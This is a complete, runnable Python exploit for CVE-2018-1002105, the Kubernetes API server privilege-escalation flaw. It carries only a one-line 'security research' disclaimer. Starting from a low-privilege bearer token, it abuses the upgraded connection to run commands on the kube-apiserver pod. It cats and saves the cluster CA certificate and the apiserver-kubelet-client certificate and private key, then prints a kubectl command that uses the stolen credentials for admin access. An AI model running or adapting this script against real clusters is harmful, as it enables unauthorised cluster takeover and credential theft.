"""ExP for CVE-2018-1002105
ONLY USED FOR SECURITY RESEARCH
ILLEGAL USE IS **PROHIBITED**
"""

from secrets import base64, token_bytes
import sys
import argparse
import socket
import ssl
from urllib import parse
import json

try:
    from http_parser.parser import HttpParser
except ImportError:
    from http_parser.pyparser import HttpParser

context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)

# Args
parser = argparse.ArgumentParser(description='ExP for CVE-2018-1002105.')
required = parser.add_argument_group('required arguments')
required.add_argument('--target', '-t', dest='host', type=str,
                      help='API Server\'s IP', required=True)
required.add_argument('--port', '-p', dest='port', type=str,
                      help='API Server\'s port', required=True)
required.add_argument('--bearer-token', '-b', dest='token', type=str,
                      help='Bearer token for the low privileged user', required=True)
required.add_argument('--namespace', '-n', dest='namespace', type=str,
                      help='Namespace with method access',
                      default='default', required=True)
required.add_argument('--pod', '-P', dest='pod', type=str,
                      required=True, help='Pod with method access')
args = parser.parse_args()

# HTTP Gadgets
http_delimiter = '\r\n'
host_header = f'Host: {args.host}:{args.port}'
auth_header = f'Authorization: Bearer {args.token}'
conn_header = 'Connection: upgrade'
upgrade_header = 'Upgrade: websocket'
agent_header = 'User-Agent: curl/7.64.1'
accept_header = 'Accept: */*'
origin_header = f'Origin: http://{args.host}:{args.port}'
sec_key = base64.b64encode(token_bytes(20)).decode('utf-8')
sec_websocket_key = f'Sec-WebSocket-Key: {sec_key}'
sec_websocket_version = 'Sec-WebSocket-Version: 13'

# secret targets
ca_crt = 'ca.crt'
client_crt = 'apiserver-kubelet-client.crt'
client_key = 'apiserver-kubelet-client.key'


def _get_http_body(byte_http):
    p = HttpParser()
    recved = len(byte_http)
    p.execute(byte_http, recved)
    return p.recv_body().decode('utf-8')


def _recv_all_once(ssock, length=4096):
    res = b""
    incoming = True
    while incoming:
        try:
            res += ssock.recv(length)
        except socket.timeout:
            if not res:
                continue
            else:
                break
    return res


def _try_to_get_privilege(ssock, namespace, pod):
    payload1 = http_delimiter.join(
        (f'GET /api/v1/namespaces/{namespace}/pods/{pod}/exec HTTP/1.1',
         host_header,
         auth_header,
         upgrade_header,
         conn_header))
    payload1 += http_delimiter * 2
    ssock.send(payload1.encode('utf-8'))


def _run_with_privilege(ssock, get_path):
    payload = http_delimiter.join(
        (f'GET {get_path} HTTP/1.1',
         host_header,
         auth_header,
         conn_header,
         upgrade_header,
         origin_header,
         sec_websocket_key,
         sec_websocket_version))
    payload += http_delimiter * 2
    ssock.send(payload.encode('utf-8'))


def _match_or_exit(banner_bytes, resp, fail_message="[-] Failed."):
    if banner_bytes in resp:
        return
    print(fail_message)
    sys.exit(1)


def _get_secret(resp):
    delimiter = b'-----'
    start = resp.index(delimiter)
    end = resp.rindex(delimiter)
    return resp[start:end + len(delimiter)].decode('utf-8')


def _save_file(file_name, content):
    with open(file_name, 'w') as f:
        f.write(content)


def _steal_secret(api_server, secret_file, match_banner):
    with socket.create_connection((args.host, int(args.port))) as sock:
        with context.wrap_socket(sock, server_hostname=args.host) as ssock:
            ssock.settimeout(1)
            print('[*] Creating new privileged pipe...')
            _try_to_get_privilege(ssock, namespace=args.namespace, pod=args.pod)
            resp = _recv_all_once(ssock)
            _match_or_exit(b'stdin, stdout, stderr', resp)
            print(f"[*] Trying to steal {secret_file}...")
            cmd1 = parse.quote('/bin/cat')
            cmd2 = parse.quote(f"/etc/kubernetes/pki/{secret_file}")
            _run_with_privilege(
                ssock,
                f'/exec/kube-system/{api_server}/kube-apiserver?command={cmd1}&command={cmd2}&input=1&output=1&tty=0')
            resp = _recv_all_once(ssock)
            _match_or_exit(b'HTTP/1.1 101 Switching Protocols', resp)
            _match_or_exit(match_banner, resp, fail_message=f'[-] Cannot find banner {match_banner}.')
            print(f'[+] Got {secret_file}.')
            secret_content = _get_secret(resp)
            _save_file(secret_file, secret_content)
            print(f'[+] Secret {secret_file} saved :)')


def main():
    print("[*] Exploiting CVE-2018-1002105...")
    with socket.create_connection((args.host, int(args.port))) as sock:
        with context.wrap_socket(sock, server_hostname=args.host) as ssock:
            # step 1
            ssock.settimeout(1)
            print("[*] Checking vulnerable or not...")
            _try_to_get_privilege(ssock, namespace=args.namespace, pod=args.pod)
            resp = _recv_all_once(ssock)
            _match_or_exit(
                b'stdin, stdout, stderr',
                resp,
                fail_message='[-] Not vulnerable to CVE-2018-1002105.')
            print("[+] Vulnerable to CVE-2018-1002105, continue.")

            # step 2
            print("[*] Getting running pods list...")
            _run_with_privilege(ssock, '/runningpods/')
            resp = _recv_all_once(ssock)
            _match_or_exit(b'HTTP/1.1 200 OK', resp)
            print("[+] Got running pods list.")

            pods_info = json.loads(_get_http_body(resp))
            pods_list = [pod['metadata']['name'] for pod in pods_info['items']]
            for pod in pods_list:
                if pod.startswith('kube-apiserver'):
                    api_server = pod
                    break
            else:
                print("[-] Cannot find API Server.")
                sys.exit(1)
            print(f"[*] API Server is {api_server}.")

            # step 3
            _steal_secret(
                api_server=api_server,
                secret_file=ca_crt,
                match_banner=b'BEGIN CERTIFICATE')
            _steal_secret(
                api_server=api_server,
                secret_file=client_crt,
                match_banner=b'BEGIN CERTIFICATE')
            _steal_secret(
                api_server=api_server,
                secret_file=client_key,
                match_banner=b'BEGIN RSA PRIVATE KEY')

    print('[+] Enjoy your trip :)')
    cmd_try = f"kubectl --server=https://{args.host}:{args.port}" \
              f" --certificate-authority={ca_crt}" \
              f" --client-certificate={client_crt}" \
              f" --client-key={client_key} get pods -n kube-system"
    print(cmd_try)


if __name__ == "__main__":
    main()
